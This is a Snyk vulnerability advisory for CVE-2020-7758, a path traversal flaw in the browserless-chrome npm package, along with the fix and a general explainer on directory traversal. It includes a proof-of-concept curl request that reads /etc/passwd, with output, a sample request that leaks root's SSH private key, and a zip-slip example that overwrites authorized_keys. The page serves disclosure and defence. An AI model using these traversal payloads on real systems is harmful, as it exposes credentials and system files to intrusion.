snyk Vulnerability DB

Snyk Vulnerability Database › npm › browserless-chrome

Path Traversal

Affecting browserless-chrome package, versions <1.43.0

INTRODUCED: 29 OCT 2020 CVE-2020-7758 CWE-22 FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `browserless-chrome` to version 1.43.0 or higher.

Overview

browserless-chrome is a web-service that allows for remote clients to connect, drive, and execute headless work; all inside of docker. It offers first-class integrations for puppeteer, playwright, selenium's webdriver, and a slew of handy REST APIs for doing more common work.

Affected versions of this package are vulnerable to Path Traversal. User input flowing from the workspace endpoint gets used to create a file path `filePath` and this is fetched and then sent back to a user. This can be escaped to fetch arbitrary files from a server.

Note This package no longer releases fixes to `npm` but a fixed version tag `1.40.2-chrome-stable` is available if this package is loaded from GitHub.

PoC

```
run docker run -p 3000:3000 browserless/chrome
```

```
snoopy@snoopy-XPS-15-9570:~$ curl --path-as-is --url
'http://localhost:3000/workspace/../../../../../../../../../../../../../../../../etc/passwd&#39;
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

`st` is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the `public` route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

```
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
```

Note `%2e` is the URL encoded version of `.` (dot).

- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`.

One way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:

```
2018-04-15 22:04:29 ..... 19 19 good.txt 2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
```

References

- GitHub Commit
- Vulnerable Code

PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

Test with Github

HIGH

Search by package name or CVE

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Confidentiality	HIGH

See more

NVD 7.5 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Path Traversal vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-BROWSERLESSCHROME-1023657
Published	29 Oct 2020
Disclosed	29 Oct 2020
Credit	Sam Sanoop of Snyk Security Team

Report a new vulnerability

Found a mistake?

Test with CLI

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.